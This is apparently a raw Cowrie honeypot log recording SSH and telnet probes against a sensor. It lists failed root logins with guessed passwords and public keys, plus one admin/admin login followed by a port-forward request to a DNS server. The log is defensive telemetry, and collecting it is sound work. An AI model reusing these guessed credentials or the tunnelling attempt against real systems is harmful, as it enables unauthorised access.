{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:47:f8:3e:e0:c6:89:73:2e:bd:34:5a:6b:fe:c2:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAb04hjWND7iFXAMrmm6A6umISae825NPxukDjFiQglxJFUgBVWck+evNvORlYQpYYeTbscdSk51qVBjJNIsfECc9Vo2qz9PAHTi5B1P0lSSboP2JFOc6jL+74hy66V+EnojEJex3wYoQElQTdc0ZXbKTKiOl+efLB3i9dFqT5hv+N65AdZG3a6Vk4aIO73vB04QpIIXJRUjQcOD1f6jxwbAq2I6YbL6/aUIPTo5+s2rgumwgQdTgCifv73a7bkBcOcSa4pRqqYbYOiLK2SD5j0/0lG2XkBgSkZK3uuQSjKIJflvNs/ng6J8s8IZKtbe/B+9tUrUJhTjANdkXgexohOWzpX3IDCCDxg2mNF1aRChChK9kz9nzgHfjksRgAqy5GcBWh1KDBFyVcniK/cznUDFTuqmBULL9cD1cNLgd/cC6027qQSpmnowUFyo1jRJID6KrIJFvg2yun5P6bqHXQvLD5wxpUk8BWzR390/og5OdgGzyaMhwaXV9jdDB41T9Uv7YCFgB6w6CCpABPgwLbEYP8bnb3AiZ/59cWtcwXQfYPVEdluj3d6s/ETEbLXT/7B2eeF0XqtlJ7ctqxpVh7jYYQfNY5dTHbdMEKDx122NsQdgRsZGJbeMnsYTv6bqUiF1jgFwYBEbeZz3CGuSSf406NtPR30dVksP1NJl8uWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.424598Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.195013999938965,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.509367Z","src_ip":"152.42.224.71","session":"fb3840e736a4","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:d8:e4:dd:4f:a2:34:70:7b:7a:97:e4:c6:73:f2:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDi5M9TQboBiZzN3Px8pDkMb5lMZjuUs8nrxsqmfvixMI3GXMdz07n4qG4cyg9uccT36bvzGNwoCLHZG1OrdKdRDnEe3SByk4ERzKcm9QAIF1m4Jc9bJJCZzX0LT0vrXIRXzfu1+kTRdcI9GhK4SBc37lMMvayG/hLUivXVMyznOYVC2kXBqGw4Dwt002WslmG+awsi8O89qN5u63oIkh+bmU36qGirhikWyLRFxI6PKirRij3ViQBBkXak+Mt/d7Yy+H2k5cPP1zdQ1JCu0JsSQsf+OBFb0/ZbLNb0MsKR+9ZUiVpuQQTK6GFdSoSwNzVHdVNIoGZuV7yNfPlVGE7hnm8bfEdubbyLLfk7F9OKYDGaQFdDhaun695OLnrp+RL7y4bbiXuo9Xrh7cm2KJr1ZnRAEipaiNe+xGG/hSyz9BzArvSsCux37BAylFzX9A6KpGCpetcQBMCAszOlTsPOrzw5PK1Wey1kiTW5u2k0/ap7cNbl7hq4tFuCRkAaV/bCeyXWmDn8pa2RMXDLk7G8BampNDC+5cKqUKhvRtPhZfnktlnzJoojS0SXG0BJEcWWniHo/ghzukrvGrkg4uGC2pCOQeiMIk8oqoK7F4l+7x3DgTA90RI6/JOrrsxFxe7lQKgXI43Ug3EBOZxaQE4CKWv3QWZq07CpZEeouvBSJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:d8:e4:dd:4f:a2:34:70:7b:7a:97:e4:c6:73:f2:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.515525Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:d8:e4:dd:4f:a2:34:70:7b:7a:97:e4:c6:73:f2:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDi5M9TQboBiZzN3Px8pDkMb5lMZjuUs8nrxsqmfvixMI3GXMdz07n4qG4cyg9uccT36bvzGNwoCLHZG1OrdKdRDnEe3SByk4ERzKcm9QAIF1m4Jc9bJJCZzX0LT0vrXIRXzfu1+kTRdcI9GhK4SBc37lMMvayG/hLUivXVMyznOYVC2kXBqGw4Dwt002WslmG+awsi8O89qN5u63oIkh+bmU36qGirhikWyLRFxI6PKirRij3ViQBBkXak+Mt/d7Yy+H2k5cPP1zdQ1JCu0JsSQsf+OBFb0/ZbLNb0MsKR+9ZUiVpuQQTK6GFdSoSwNzVHdVNIoGZuV7yNfPlVGE7hnm8bfEdubbyLLfk7F9OKYDGaQFdDhaun695OLnrp+RL7y4bbiXuo9Xrh7cm2KJr1ZnRAEipaiNe+xGG/hSyz9BzArvSsCux37BAylFzX9A6KpGCpetcQBMCAszOlTsPOrzw5PK1Wey1kiTW5u2k0/ap7cNbl7hq4tFuCRkAaV/bCeyXWmDn8pa2RMXDLk7G8BampNDC+5cKqUKhvRtPhZfnktlnzJoojS0SXG0BJEcWWniHo/ghzukrvGrkg4uGC2pCOQeiMIk8oqoK7F4l+7x3DgTA90RI6/JOrrsxFxe7lQKgXI43Ug3EBOZxaQE4CKWv3QWZq07CpZEeouvBSJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.519290Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.607315Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.037278413772583,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:12.934032Z","src_ip":"152.42.224.71","session":"023893e90266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6998,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ad2955eeb0e","protocol":"ssh","message":"New connection: 87.251.64.176:6998 (10.17.0.5:22) [session: 9ad2955eeb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:13.650991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:13.655245Z","src_ip":"87.251.64.176","session":"9ad2955eeb0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:13.751642Z","src_ip":"87.251.64.176","session":"9ad2955eeb0e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:14.041907Z","src_ip":"87.251.64.176","session":"9ad2955eeb0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:14.142492Z","session":"9ad2955eeb0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:14.240971Z","src_ip":"87.251.64.176","session":"9ad2955eeb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:14.478082Z","src_ip":"87.251.64.176","session":"9ad2955eeb0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47190,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ec294293e8d","protocol":"telnet","message":"New connection: 152.42.224.71:47190 (10.17.0.5:23) [session: 4ec294293e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:16.726631Z"}
{"eventid":"cowrie.session.closed","duration":29.997034311294556,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:18.776695Z","src_ip":"152.42.224.71","session":"7cdaebe37937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47202,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5e1b06b09c0","protocol":"telnet","message":"New connection: 152.42.224.71:47202 (10.17.0.5:23) [session: c5e1b06b09c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:20.972852Z"}
{"eventid":"cowrie.session.closed","duration":32.59810495376587,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:24.800817Z","src_ip":"152.42.224.71","session":"3320a3e4fb3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47206,"dst_ip":"10.17.0.5","dst_port":23,"session":"b782dda1bc8c","protocol":"telnet","message":"New connection: 152.42.224.71:47206 (10.17.0.5:23) [session: b782dda1bc8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:25.673143Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50556,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e618348cadf","protocol":"telnet","message":"New connection: 152.42.224.71:50556 (10.17.0.5:23) [session: 9e618348cadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:26.307432Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50572,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd9736236cd9","protocol":"telnet","message":"New connection: 152.42.224.71:50572 (10.17.0.5:23) [session: fd9736236cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:27.441879Z"}
{"eventid":"cowrie.session.closed","duration":46.795379400253296,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:27.962244Z","src_ip":"152.42.224.71","session":"ae1497e2b03b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50582,"dst_ip":"10.17.0.5","dst_port":23,"session":"b78ad8fa2256","protocol":"telnet","message":"New connection: 152.42.224.71:50582 (10.17.0.5:23) [session: b78ad8fa2256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:28.654949Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50590,"dst_ip":"10.17.0.5","dst_port":23,"session":"98b2623314d4","protocol":"telnet","message":"New connection: 152.42.224.71:50590 (10.17.0.5:23) [session: 98b2623314d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:30.241407Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":34842,"dst_ip":"159.203.135.109","dst_port":22,"session":"80afc5403ec8","protocol":"ssh","message":"New connection: 103.173.227.57:34842 (159.203.135.109:22) [session: 80afc5403ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:31.999858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:32.005417Z","src_ip":"103.173.227.57","session":"80afc5403ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:32.242839Z","src_ip":"103.173.227.57","session":"80afc5403ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.954082727432251,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:32.680584Z","src_ip":"152.42.224.71","session":"4ec294293e8d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"gtnhjdf","message":"login attempt [root/gtnhjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:32.955070Z","src_ip":"103.173.227.57","session":"80afc5403ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:34.195292Z","src_ip":"103.173.227.57","session":"80afc5403ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59192,"dst_ip":"10.17.0.5","dst_port":23,"session":"15def916db3b","protocol":"telnet","message":"New connection: 152.42.224.71:59192 (10.17.0.5:23) [session: 15def916db3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:36.110462Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59200,"dst_ip":"10.17.0.5","dst_port":23,"session":"912e61cec8b4","protocol":"telnet","message":"New connection: 152.42.224.71:59200 (10.17.0.5:23) [session: 912e61cec8b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:38.254484Z"}
{"eventid":"cowrie.session.closed","duration":54.277533531188965,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:42.552759Z","src_ip":"152.42.224.71","session":"fcbc56d4a010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":109.92678546905518,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:46.147238Z","src_ip":"152.42.224.71","session":"36fe9a06ada7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":57318,"dst_ip":"159.203.135.109","dst_port":22,"session":"42f1816188c2","protocol":"ssh","message":"New connection: 193.228.128.84:57318 (159.203.135.109:22) [session: 42f1816188c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:47.931424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:47.936547Z","src_ip":"193.228.128.84","session":"42f1816188c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:48.038549Z","src_ip":"193.228.128.84","session":"42f1816188c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lesso161209","message":"login attempt [root/lesso161209] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:48.343289Z","src_ip":"193.228.128.84","session":"42f1816188c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.91752791404724,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:49.264484Z","src_ip":"152.42.224.71","session":"cf1e07ada9e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:49.447884Z","src_ip":"193.228.128.84","session":"42f1816188c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":57716,"dst_ip":"159.203.135.109","dst_port":22,"session":"12698228fedd","protocol":"ssh","message":"New connection: 43.128.86.117:57716 (159.203.135.109:22) [session: 12698228fedd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:52.219736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:52.223750Z","src_ip":"43.128.86.117","session":"12698228fedd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:52.467919Z","src_ip":"43.128.86.117","session":"12698228fedd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.16738438606262,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:53.033689Z","src_ip":"152.42.224.71","session":"ada19ccb06ab","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:53.480865Z","src_ip":"43.128.86.117","session":"12698228fedd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:54.733453Z","src_ip":"43.128.86.117","session":"12698228fedd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.324564695358276,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:02.631892Z","src_ip":"152.42.224.71","session":"9e618348cadf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42100,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b8b97a826d7","protocol":"telnet","message":"New connection: 152.42.224.71:42100 (10.17.0.5:23) [session: 9b8b97a826d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:06.179006Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42110,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3af464ddf4e","protocol":"telnet","message":"New connection: 152.42.224.71:42110 (10.17.0.5:23) [session: d3af464ddf4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:09.255157Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42122,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce7202364ef7","protocol":"telnet","message":"New connection: 152.42.224.71:42122 (10.17.0.5:23) [session: ce7202364ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:17:14.341017Z"}
